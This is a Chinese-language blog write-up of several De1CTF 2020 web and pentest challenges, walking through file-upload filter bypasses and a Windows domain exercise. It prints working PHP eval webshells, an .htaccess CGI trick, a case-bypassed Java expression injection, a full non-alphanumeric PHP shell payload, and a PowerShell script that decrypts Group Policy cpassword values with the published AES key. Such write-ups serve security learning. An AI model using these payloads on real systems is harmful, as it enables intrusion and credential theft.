0%

de1ctf

记录一下de1ctf的一些题目,过程有点自闭,但是看完wp觉得出的还不错。

check in

没给出代码,明显的文件上传,随便传几个文件可以看见一些提示。

规定了后缀,内容上过滤了

1
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet

抓包发现修改content-type可以绕过后缀的限制,想起之前.htaccess上传,对ph的过滤可以采用\换行连接,尝试了一下可以上传成功。

上传一个图片马即可getshell,但是要注意内容过滤的绕过,可以采用php短标签。<?= 等价于 <? echo

1
<?=@eval($_GET['kt']);

链接之后根目录下看可以得到文件。

出题人的预期解法:

.htaccess启用CGI。

1
2
Options +ExecCGI
AddHandler cgi-script .sh

solve.sh

1
2
3
4
5
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /flag
exit 0

calc

F12找到传参点

发现过滤new,但是不过滤大小写,可以绕

构造

1
calc?calc=neW%20java.util.Scanner(neW%20java.io.File(%22/flag%22)).next()

即可。

Hard_Pentest_1

这题前面还好说,后面的不咋会,记录学习一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}

function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);

if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">
</form>

</body>
</html>

给了源代码,还是文件上传绕过。

文件大小小于2048还有一个check(),可以看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);

if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}

后缀限制为php不够严格存在大小写绕过,内容检查里不能出现字母数字和一些符号。

不能传字母和数字肯定就是无字母数字shell了。网上有现成的。但是他过滤了~^没办法异或构造。到这里了就没了….因为太菜了不怎么会弄这种shell….

拿个别人的payload:

1
system($_POST[_]);

相当于

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?=$_=[]?>
<?=$_="$_"?>
<?=$_=$_['!'=='@']?>
<?=$___=$_?>
<?=$__=$_?>
<?=$__++?><?=$__++?>
<?=$__++?><?=$__++?>
<?=$____=$__++?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$_____________=$__++?><?=$__++?>
<?=$__________=$__++?>
<?=$_________=$__++?>
<?=$__++?>
<?=$________=$__++?>
<?=$_____=$__++?>
<?=$______=$__++?>
<?=$______?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____________=$__++?>
<?=$_____.$____________.$_____.$______.$____.$_____________?>
<?=$________________=$_____.$____________.$_____.$______.$____.$_____________?>
<?=$_________.$__________.$_____.$______?>
<?=($________________)(${'_'.$_________.$__________.$_____.$______}[_])?>

成功

执行了半天没反应,居然是windows??

然后再写一个shell,POST下面的命令

1
echo /*"""*/<?php eval($_POST[kt]);//" > 2.php

成功

AT连一下

翻翻目录,找到一个压缩包

下载打开要密码…

接下来就是域渗透的内容了,看了点文章记录一下。

1
net user /domain

查看域用户,发现一个提示,用户的密码可能就是压缩包密码。

先看一下当前用户所处的域

1
ipconfig/all

进入De1CTF2020.lab的域共享文件夹/SYSVOL中

寻找相应id的配置文件

cpassword是由AES加密的,256AES很难攻击。但是根据文章说的微软公开了私钥,所以有现成的脚本PowerShell脚本可以破译。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)

try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)

switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}

$Base64Decoded = [Convert]::FromBase64String($Cpassword)

#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}

catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"
#密文

更换密文之后创建1.ps上传到服务器上在服务器上执行

1
powershell -executionpolicy bypass -file 1.ps1 > 123.txt

我这的AT终端执行没回显不懂为什么….直接命令写进文件里看算了。

有了

解压缩包

完成!学到了一些渗透的姿势了hah。

Hard_Pentest_2

有点难的样子,感觉不适合我…


-------------    本文结束  感谢您的阅读    -------------